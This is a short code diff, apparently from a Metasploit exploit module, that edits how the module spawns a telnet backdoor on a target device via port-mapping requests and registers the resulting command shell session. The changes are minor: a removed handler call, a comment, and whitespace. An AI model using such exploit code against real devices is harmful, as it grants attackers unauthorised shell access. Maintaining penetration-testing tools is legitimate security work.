@@ -58,7 +58,7 @@ def initialize(info = {})
58
58
'Platform' => 'unix'
59
59
}
60
60
] ,
61
- [ 'Telnet' , #all devices, use a netcat bind payload for getting a valid session
61
+ [ 'Telnet' , #all devices
62
62
{
63
63
'Arch' => ARCH_CMD ,
64
64
'Platform' => 'unix'
@@ -144,7 +144,6 @@ def request(cmd, type, new_external_port, new_internal_port, new_portmapping_des
144
144
end
145
145
146
146
def exploit
147
- handler
148
147
downfile = datastore [ 'DOWNFILE' ] || rand_text_alpha ( 8 +rand ( 8 ) )
149
148
150
149
new_portmapping_description = rand_text_alpha ( 8 )
@@ -221,21 +220,21 @@ def exploit
221
220
}
222
221
#taken from ./lib/msf/core/auxiliary/commandshell.rb
223
222
info = "TELNET (#{ rhost } :#{ telnetport } )"
224
- sess = Msf ::Sessions ::CommandShell . new ( sock )
223
+ sess = Msf ::Sessions ::CommandShell . new ( sock )
225
224
sess . set_from_exploit ( self )
226
- sess . info = info
225
+ sess . info = info
227
226
228
- # Clean up the stored data
229
- sess . exploit_datastore . merge! ( merge_me )
227
+ # Clean up the stored data
228
+ sess . exploit_datastore . merge! ( merge_me )
230
229
231
- # Prevent the socket from being closed
232
- self . sockets . delete ( sock )
233
- self . sock = nil if self . respond_to? :sock
230
+ # Prevent the socket from being closed
231
+ self . sockets . delete ( sock )
232
+ self . sock = nil if self . respond_to? :sock
234
233
235
- framework . sessions . register ( sess )
236
- sess . process_autoruns ( datastore )
234
+ framework . sessions . register ( sess )
235
+ sess . process_autoruns ( datastore )
237
236
238
- sess
237
+ sess
239
238
rescue
240
239
print_error ( "#{ rhost } :#{ rport } - Backdoor service has not been spawned!!!" )
241
240
end
0 commit comments